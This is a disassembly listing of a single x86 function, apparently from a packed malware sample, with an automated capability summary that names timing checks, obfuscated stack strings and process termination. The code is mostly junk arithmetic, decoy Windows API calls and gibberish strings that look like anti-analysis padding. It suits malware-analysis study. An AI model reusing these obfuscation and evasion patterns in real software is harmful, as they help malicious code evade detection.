Function at 0x4200e0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get file attributes
Manipulate console buffer
Move file
Read .ini file
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa74
cmp dword [0x442ad8], 0x25
jne 0x42017c
push 0x440680
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x65f6
jne 0x42017c
sub esp, 8
fldz
fstp qword [esp]
call fcn.00401000
fstp st(0)
push ecx
fldz
fstp dword [esp]
call fcn.00401050
fstp st(0)
push 0
call fcn.00401080
add esp, 4
cmp dword [0x442ad8], 0x622
jne 0x420144
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
call main
push ecx
fldz
fstp dword [esp]
call fcn.00401020
fstp st(0)
push 0
push 0
call fcn.004013b0
add esp, 4
fldz
fstp dword [esp]
call fcn.00401020
fstp st(0)
push 0
push 0
call fcn.004013b0
add esp, 8
mov dword [ebp - 0xac], 0
jmp 0x420197
mov eax, dword [ebp - 0xac]
add eax, 1
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
cdq
mov dword [ebp - 0xa74], eax
mov dword [ebp - 0xa70], edx
cmp dword [ebp - 0xa70], 1
jg 0x4201fb
jl 0x4201c1
cmp dword [ebp - 0xa74], 0x1f73c2e5
jae 0x4201fb
cmp dword [ebp - 0xac], 0x291c8
jne 0x4201db
mov ecx, dword [0x43f94c]
mov dword [0x442ad8], ecx
jmp 0x4201fb
cmp dword [0x442ad8], 0x5e9
jne 0x4201f9
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x420188
mov dword [ebp - 0x54], 0x27279461
mov dword [ebp - 0x24], 0x6749f0a9
mov dword [ebp - 0x98], 0x2d78f37a
mov dword [ebp - 0x6c], 0x56297e41
mov dword [ebp - 0x44], 0x6843fca
mov dword [ebp - 0x48], 0x25506011
mov dword [ebp - 0x10], 0x53a2354d
mov dword [ebp - 0xc], 0x714254cd
mov dword [ebp - 0x68], 0x1359b6f9
mov dword [ebp - 0x38], 0x5d1008ae
mov dword [ebp - 0xa8], 0x319749fa
mov dword [ebp - 0x20], 0x7875dd05
mov dword [ebp - 0x2c], 0x2b768599
mov dword [ebp - 0x40], 0x3c55541e
mov dword [ebp - 0x50], 0xafea702
mov dword [ebp - 0x3c], 0x51ef204e
mov dword [ebp - 0x64], 0x7122ed29
mov dword [ebp - 0x58], 0x355d0d81
mov dword [ebp - 0x94], 0x7419cb6a
mov dword [ebp - 0x34], 0x4506aa69
mov dword [ebp - 0x88], 0x6993cee
mov dword [ebp - 0x78], 0x554b8ff1
mov dword [ebp - 0x4c], 0x7b91f22b
mov dword [ebp - 8], 0x5d23df1e
mov dword [ebp - 0x84], 0x747bf4d1
mov dword [ebp - 0xa0], 0x68d392f8
mov dword [ebp - 0x74], 0x4284afe4
mov dword [ebp - 0x30], 0x5ea95677
mov dword [ebp - 0x28], 0x7a8ae5ac
mov dword [ebp - 0x70], 0x7560fffd
mov dword [ebp - 0x90], 0x143ed930
mov dword [ebp - 0x14], 0x6d436a5a
mov dword [ebp - 4], 0x77ca2319
mov dword [ebp - 0x80], 0x16c89e46
mov dword [ebp - 0x60], 0x112304e7
mov dword [ebp - 0x8c], 0x343fd2bb
mov dword [ebp - 0x9c], 0x76a4f534
mov dword [ebp - 0x1c], 0x75d3fc3d
mov dword [ebp - 0x18], 0x90c1e97
mov dword [ebp - 0x7c], 0x7e020010
mov dword [ebp - 0xa4], 0x60f86fe5
mov dword [ebp - 0x5c], 0x4e65684c
mov dword [ebp - 0xb0], 0
jmp 0x42035a
mov edx, dword [ebp - 0xb0]
add edx, 1
mov dword [ebp - 0xb0], edx
cmp dword [ebp - 0xb0], 0x1b6f736
jge 0x420c50
cmp dword [ebp - 0xb0], 0x520
jge 0x42038a
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuInfo]
push 0
push 0
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
mov dword [ebp - 0x190], 0x305f1a6b
mov dword [ebp - 0x18c], 0x45899f91
mov dword [ebp - 0xc8], 0x5f699fb7
mov dword [ebp - 0xc4], 0x3f869e74
mov dword [ebp - 0xbc], 0x6c5fdb3d
mov dword [ebp - 0x168], 0x75f60e14
mov dword [ebp - 0x188], 0x73e050d0
mov dword [ebp - 0x118], 0x32e76236
mov dword [ebp - 0x164], 0x849d84a
mov dword [ebp - 0x114], 0x332aa737
mov dword [ebp - 0x160], 0x55f80b74
mov dword [ebp - 0xdc], 0x4ff409dd
mov dword [ebp - 0x1b0], 0x3365dea7
mov dword [ebp - 0x144], 0x22b3f85
mov dword [ebp - 0x1c0], 0x6f8d94ca
mov dword [ebp - 0x148], 0x5a6914af
mov dword [ebp - 0x12c], 0x1bbf069d
mov dword [ebp - 0x140], 0x4a55cf3c
mov dword [ebp - 0x1b4], 0x65832b5c
mov dword [ebp - 0xb8], 0x3e2820e7
mov dword [ebp - 0x110], 0x5a047404
mov dword [ebp - 0x120], 0x2b5d0d9d
mov dword [ebp - 0x1bc], 0x733cb020
mov dword [ebp - 0x1ac], 0x55e26081
mov dword [ebp - 0x11c], 0x602fb79a
mov dword [ebp - 0x128], 0x4ac37ba3
mov dword [ebp - 0x184], 0x38556e49
mov dword [ebp - 0xcc], 0x7eaf4902
mov dword [ebp - 0x13c], 0x1c58875f
mov dword [ebp - 0xc0], 0x3050bf6c
mov dword [ebp - 0x16c], 0x3b0366e2
mov dword [ebp - 0x15c], 0x53333b8a
mov dword [ebp - 0x1a8], 0x31543ebc
mov dword [ebp - 0xd8], 0x6ddb9535
mov dword [ebp - 0x10c], 0x62ce8bfb
mov dword [ebp - 0x138], 0x784b6c81
mov dword [ebp - 0xb4], 0x618f1209
mov dword [ebp - 0x108], 0x586114b5
mov dword [ebp - 0x124], 0x1ecd9245
mov dword [ebp - 0x158], 0x5d03adeb
mov dword [ebp - 0xd4], 0x78305db7
mov dword [ebp - 0x154], 0x2e5fe4d4
mov dword [ebp - 0x1b8], 0x1a587fc3
mov dword [ebp - 0x134], 0x685760da
mov dword [ebp - 0x130], 0xf36eb77
mov dword [ebp - 0x1a4], 0x44d1b3b5
mov dword [ebp - 0x180], 0x2f7e34e7
mov dword [ebp - 0x150], 0x3024548b
mov dword [ebp - 0x17c], 0x65e7e144
mov dword [ebp - 0x178], 0x567101b4
mov dword [ebp - 0x1a0], 0x5337f5fe
mov dword [ebp - 0x174], 0x12e91b1a
mov dword [ebp - 0x19c], 0x2e609f8
mov dword [ebp - 0x198], 0x7fd9a52a
mov dword [ebp - 0x170], 0x6355e409
mov dword [ebp - 0xd0], 0x2c832c20
mov dword [ebp - 0x14c], 0x58aa677a
add dword [ebp - 0x24], 0x7e472ec4
add dword [ebp - 0x98], 0x10dcc082
add dword [ebp - 0x98], 0x5df02b4
sub dword [ebp - 0x44], 0x8e9f2e
add dword [ebp - 0x44], 0x7c871446
add dword [ebp - 0x10], 0x2915195d
sub dword [ebp - 0x48], 0x73eac6f4
sub dword [ebp - 0x44], 0x384ebe7e
sub dword [ebp - 0x24], 0x6d11752b
sub dword [ebp - 0x10], 0x52bae1f7
add dword [ebp - 0x10], 0x489b7d1b
add dword [ebp - 0x54], 0x79ff5555
add dword [ebp - 0x6c], 0x41205960
sub dword [ebp - 0x44], 0x75123343
sub dword [ebp - 0x68], 0x6284e110
sub dword [ebp - 0x44], 0x360817b4
sub dword [ebp - 0x44], 0x1a26fb4
add dword [ebp - 0x98], 0x39e59ea6
add dword [ebp - 0x54], 0x605156e
sub dword [ebp - 0x40], 0x9af865b
add dword [ebp - 0xa8], 0x442c633c
add dword [ebp - 0x54], 0x323a5ff1
add dword [ebp - 0x2c], 0x4b298293
sub dword [ebp - 0x48], 0x4e013b11
sub dword [ebp - 0xa8], 0x45ce3a57
add dword [ebp - 0x68], 0x236f33b
sub dword [ebp - 0x40], 0x3ce4806f
sub dword [ebp - 0x50], 0x539b6f18
sub dword [ebp - 0x38], 0x5ef8fa6
sub dword [ebp - 0x50], 0x6664c350
sub dword [ebp - 0x6c], 0x6a00e73a
add dword [ebp - 0x98], 0x278f0874
sub dword [ebp - 0x98], 0x7a884afe
sub dword [ebp - 0x94], 0x32935c7c
sub dword [ebp - 0x88], 0x74b187cc
sub dword [ebp - 0x50], 0x2887a189
add dword [ebp - 0x2c], 0x102b690
add dword [ebp - 0x4c], 0x3c7db119
add dword [ebp - 0x88], 0x50f249cc
add dword [ebp - 0xc], 0x1538abec
sub dword [ebp - 0x20], 0x1ab84e77
add dword [ebp - 0x54], 0x694a532f
add dword [ebp - 0xa8], 0x3e1c721
sub dword [ebp - 0x6c], 0x201dd669
sub dword [ebp - 0x38], 0x527152bb
add dword [ebp - 0x20], 0x6c03d21f
sub dword [ebp - 0x88], 0x3eaa8ff1
sub dword [ebp - 0x78], 0x2ca1781f
sub dword [ebp - 0x38], 0x4b386509
sub dword [ebp - 0x38], 0xaf91f17
add dword [ebp - 0x54], 0x68ec60dd
sub dword [ebp - 0x98], 0x1d5a967e
sub dword [ebp - 0xc], 0x48985ae9
add dword [ebp - 0x44], 0x5535cab8
sub dword [ebp - 0x44], 0x359d1a22
add dword [ebp - 0x54], 0x6465559c
sub dword [ebp - 0x38], 0x1d662929
sub dword [ebp - 0x48], 0x6db77b4
add dword [ebp - 0x44], 0x1eba3cbc
sub dword [ebp - 0x50], 0x543c325d
add dword [ebp - 0x40], 0x50d53eb3
add dword [ebp - 0x24], 0x93389c7
add dword [ebp - 0xc], 0x6fc953c7
add dword [ebp - 0x88], 0x34708a1e
add dword [ebp - 0x28], 0x5711da43
add dword [ebp - 0x34], 0x7ca0b83c
sub dword [ebp - 0x74], 0x4cb04ed5
sub dword [ebp - 0x48], 0x31c19367
sub dword [ebp - 0x74], 0x5fcacab0
sub dword [ebp - 0x28], 0x123fce23
sub dword [ebp - 0x1c], 0x262c72b1
sub dword [ebp - 4], 0x73f54a7
add dword [ebp - 0x68], 0x94a643c
sub dword [ebp - 0xa8], 0x59c5f412
add dword [ebp - 0x5c], 0x6dab928e
add dword [ebp - 0x40], 0x662765f9
sub dword [ebp - 0x34], 0x285c0eb0
sub dword [ebp - 0x10], 0x168649b0
add dword [ebp - 0x9c], 0x7ea7591e
add dword [ebp - 0x18c], 0x250d536b
add dword [ebp - 4], 0x1a7e571a
sub dword [ebp - 0xc], 0x24310c3c
sub dword [ebp - 0x28], 0x1c9ba475
add dword [ebp - 0x98], 0x614adc6d
add dword [ebp - 0x38], 0x11fe6e9f
add dword [ebp - 0x4c], 0x3e376269
sub dword [ebp - 4], 0xd7b9abc
sub dword [ebp - 0x5c], 0x5a71e808
add dword [ebp - 0x20], 0x7365a4de
add dword [ebp - 0x38], 0x2d2fa6e5
sub dword [ebp - 0x3c], 0x4d719f01
sub dword [ebp - 0x50], 0x27c59120
add dword [ebp - 0x30], 0x4f22249e
add dword [ebp - 0x88], 0x41f27212
add dword [ebp - 0x94], 0x38070c5f
sub dword [ebp - 0x64], 0x5a99a7a7
sub dword [ebp - 0x64], 0x27bc5e21
sub dword [ebp - 0x44], 0x3d750557
add dword [ebp - 0x2c], 0x76d13139
sub dword [ebp - 0x160], 0x70b082df
add dword [ebp - 0x4c], 0x788615af
sub dword [ebp - 0x114], 0x2e0cfbe4
sub dword [ebp - 0x48], 0x1d3d3d46
add dword [ebp - 0x9c], 0x633296ef
sub dword [ebp - 0x6c], 0x11fdab3e
add dword [ebp - 0x50], 0x52c9c345
add dword [ebp - 0x18c], 0x4a453337
sub dword [ebp - 0x68], 0x500036b6
sub dword [ebp - 0x114], 0x3a1d6919
add dword [ebp - 0xbc], 0x40b17261
sub dword [ebp - 0x30], 0x1cc7345f
sub dword [ebp - 0x188], 0x317d0c40
sub dword [ebp - 0xa8], 0x79bbf8c
sub dword [ebp - 0x68], 0x658d1668
sub dword [ebp - 0x168], 0xb8f0c51
sub dword [ebp - 0x54], 0x3f02a495
add dword [ebp - 0x74], 0x4722ae76
add dword [ebp - 0x38], 0x6d091cf
add dword [ebp - 0x168], 0x43a3db23
sub dword [ebp - 0x50], 0xa056aed
sub dword [ebp - 0x84], 0x289b85a1
sub dword [ebp - 0x40], 0x5139fd73
sub dword [ebp - 0x118], 0x1c1c206f
sub dword [ebp - 0x18], 0x45120207
sub dword [ebp - 0x128], 0x5c125569
add dword [ebp - 0xa8], 0x12658bcf
add dword [ebp - 0x10], 0x3fa00ca5
sub dword [ebp - 0xa4], 0x314e1520
add dword [ebp - 0x120], 0x7dbbfbf1
add dword [ebp - 0x18], 0x49ae7641
add dword [ebp - 0x1c0], 0x1707d2f2
sub dword [ebp - 0x118], 0x3691a737
add dword [ebp - 0x118], 0x69ef05d6
sub dword [ebp - 0x64], 0x698ea491
add dword [ebp - 0xc], 0x4629b190
sub dword [ebp - 0x110], 0x3f8713f3
add dword [ebp - 0x160], 0x6d5d35e0
add dword [ebp - 0x78], 0x278041d0
add dword [ebp - 0x1a8], 0x3596e4fb
sub dword [ebp - 0x2c], 0x86375bc
sub dword [ebp - 0x6c], 0x175bd12
add dword [ebp - 0x4c], 0x20646449
add dword [ebp - 0x68], 0x68624bb1
sub dword [ebp - 0x20], 0x7a43329b
add dword [ebp - 0x28], 0x7dfbf8b6
add dword [ebp - 0x168], 0x50df8596
sub dword [ebp - 0x1b4], 0x72ce8a94
sub dword [ebp - 0x14], 0x2375ebd7
add dword [ebp - 0x10], 0x122313cf
add dword [ebp - 0x188], 0xfbf2c43
sub dword [ebp - 0x44], 0x31cc4361
add dword [ebp - 0xdc], 0x3d6afba2
sub dword [ebp - 0x1b4], 0xb4ed697
sub dword [ebp - 0x8c], 0x7030015b
add dword [ebp - 0x90], 0x32bcce9d
sub dword [ebp - 0x160], 0x589b833e
sub dword [ebp - 0x34], 0x294bc95a
sub dword [ebp - 0x58], 0xddb13a7
add dword [ebp - 0x11c], 0x2886a990
sub dword [ebp - 0x94], 0x64cc3861
sub dword [ebp - 0x54], 0x40a4f506
sub dword [ebp - 0x70], 0x6431545e
add dword [ebp - 0x118], 0xd71ec9f
add dword [ebp - 0x7c], 0x3cf2391a
sub dword [ebp - 0x124], 0x1e171517
add dword [ebp - 0x50], 0x71f70d1b
sub dword [ebp - 0x4c], 0x12f410ea
add dword [ebp - 0x144], 0x4aed9a96
add dword [ebp - 0x88], 0x2f65d1d8
sub dword [ebp - 0xb8], 0x7083b5a0
sub dword [ebp - 0x60], 0x38804e87
sub dword [ebp - 0x130], 0x5e8fd45b
add dword [ebp - 0x11c], 0x6d8bdaac
sub dword [ebp - 0x1a8], 0x12885246
sub dword [ebp - 0xb8], 0x5b49f9d2
add dword [ebp - 0x30], 0x4b5eafc6
add dword [ebp - 0xd8], 0x59584af1
sub dword [ebp - 0x14], 0x9f8e389
add dword [ebp - 0x190], 0x4a5c2f95
add dword [ebp - 0x168], 0x3d35f235
sub dword [ebp - 0xdc], 0x7755a949
sub dword [ebp - 0x18c], 0x2c3d0c91
sub dword [ebp - 0x130], 0x76502306
add dword [ebp - 0x180], 0x1e0b2ed5
sub dword [ebp - 0x58], 0x29e6309c
sub dword [ebp - 0x94], 0x17adec27
add dword [ebp - 0x4c], 0x37e06438
sub dword [ebp - 0x94], 0x7395090b
sub dword [ebp - 0x14], 0xeeb7980
sub dword [ebp - 0x160], 0x6fc01abf
add dword [ebp - 0x24], 0x2c521e41
sub dword [ebp - 4], 0x2ee8415e
sub dword [ebp - 0x140], 0x2f3197cc
sub dword [ebp - 0xcc], 0x6108d185
add dword [ebp - 0x10], 0x40cb23fa
sub dword [ebp - 0x94], 0x51e0f2e4
sub dword [ebp - 0x184], 0x70f93765
add dword [ebp - 0x1c], 0xa88312a
add dword [ebp - 0xd4], 0x4723030a
sub dword [ebp - 0x5c], 0x3000227f
add dword [ebp - 0x110], 0x3c85fdd3
cmp dword [0x442ad8], 0xc5
jne 0x420c41
push str.dopotewexizolobugep_lezereloparurapenericirihuba_xozoseroxuzaruroyix_nirumorediwadirapodomijid
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [0x441724], 0
jmp 0x42034b
mov dword [ebp - 0x1c4], 0
jmp 0x420c6b
mov eax, dword [ebp - 0x1c4]
add eax, 1
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x497e0f
jge 0x420ccf
cmp dword [ebp - 0x1c4], 0xff832
jne 0x420ca9
mov dword [ebp - 0x1c8], 0x8c856
mov ecx, dword [0x442ad8]
add ecx, dword [ebp - 0x1c8]
mov dword [0x442ad8], ecx
sub dword [0x44171c], 0x400
cmp dword [0x442ad8], 0xa1
jne 0x420ccd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x420c5c
call fcn.0041f620
mov dword [ebp - 0x1cc], 0
jmp 0x420cef
mov edx, dword [ebp - 0x1cc]
add edx, 1
mov dword [ebp - 0x1cc], edx
cmp dword [ebp - 0x1cc], 0x10841
jge 0x420d28
cmp dword [0x442ad8], 0x262
jne 0x420d26
push 0
lea eax, [ebp - 0x1d0]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
jmp 0x420ce0
mov dword [ebp - 0x1d8], 0
jmp 0x420d43
mov ecx, dword [ebp - 0x1d8]
add ecx, 1
mov dword [ebp - 0x1d8], ecx
cmp dword [ebp - 0x1d8], 0xe5fbc
jge 0x420de2
cmp dword [0x442ad8], 0x9e2
jne 0x420d94
push 0
push 0
push str.niralijifixukay_tav_sewifixoveyecabuvanoroxofigo_fokadom
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
mov edx, dword [ebp - 0x1dc]
push edx
lea eax, [ebp - 0x1f0]
push eax
mov ecx, dword [ebp - 0x1f4]
push ecx
push str.bofugujehunulapujireniwar_bunezamurepeceleb_xofodebusasadadi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
cmp dword [ebp - 0x1d8], 0x3b22
jne 0x420dac
mov edx, dword [0x43f940]
mov dword [0x442adc], edx
cmp dword [0x442ad8], 0xdb5
jne 0x420ddd
push str.kularuvusatupupisenogoki_yuwetinuyamuhikajaharacanimon_pukojoxavopenanobu
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov dword [ebp - 0x1f8], 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
jmp 0x420d34
mov dword [ebp - 0x1fc], 0
jmp 0x420dfd
mov eax, dword [ebp - 0x1fc]
add eax, 1
mov dword [ebp - 0x1fc], eax
mov ecx, dword [ebp - 0x1fc]
cmp ecx, dword [0x442ad8]
jae 0x420ed3
cmp dword [0x442ad8], 0x841
jne 0x420e88
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push str.Hisigicovi_xexowizobasuwa_tajekegegucodo_sodogina
push 0
lea edx, [ebp - 0xa20]
push edx
push str.Dug_nihiyu_guduyejacefew_yefoxu
push 0x42bcf0
push str.Pegesipiweb_solapudug_lubon_posojiselarati
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x21c]
push eax
push 0
push str.guvanitijulumosecujisicoji_nej_vividem_selovuyugevoyatasus_rujecina
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
lea ecx, [ebp - 0x218]
push ecx
push str.Jixebifoyekiyi_valohaliticofi_tanuf
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov edx, dword [ebp - 0x1fc]
push edx
call fcn.0041f770
cmp dword [0x442ad8], 0x27
jne 0x420ece
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea eax, [ebp - 0xa60]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
jmp 0x420dee
mov dword [ebp - 0xa64], 0
jmp 0x420eee
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
cmp dword [ebp - 0xa64], 0xe96350
jge 0x420f2f
cmp dword [0x442ad8], 0x986
jne 0x420f2d
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
lea edx, [ebp - 0xa68]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
jmp 0x420edf
mov dword [ebp - 0xa6c], 0
jmp 0x420f4a
mov eax, dword [ebp - 0xa6c]
add eax, 1
mov dword [ebp - 0xa6c], eax
cmp dword [ebp - 0xa6c], 0x3dc4a3
jge 0x420f9a
cmp dword [ebp - 0xa6c], 0x26
jne 0x420f64
call fcn.0041f640
cmp dword [0x442ad8], 0x1021
jne 0x420f98
push 0
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push str.vovuwe_jumiaxaxopebuyefiferik_dur_tepulidu_kob
push str.xilitivicufejonu_may
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
jmp 0x420f3b
call fcn.0041ff00
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10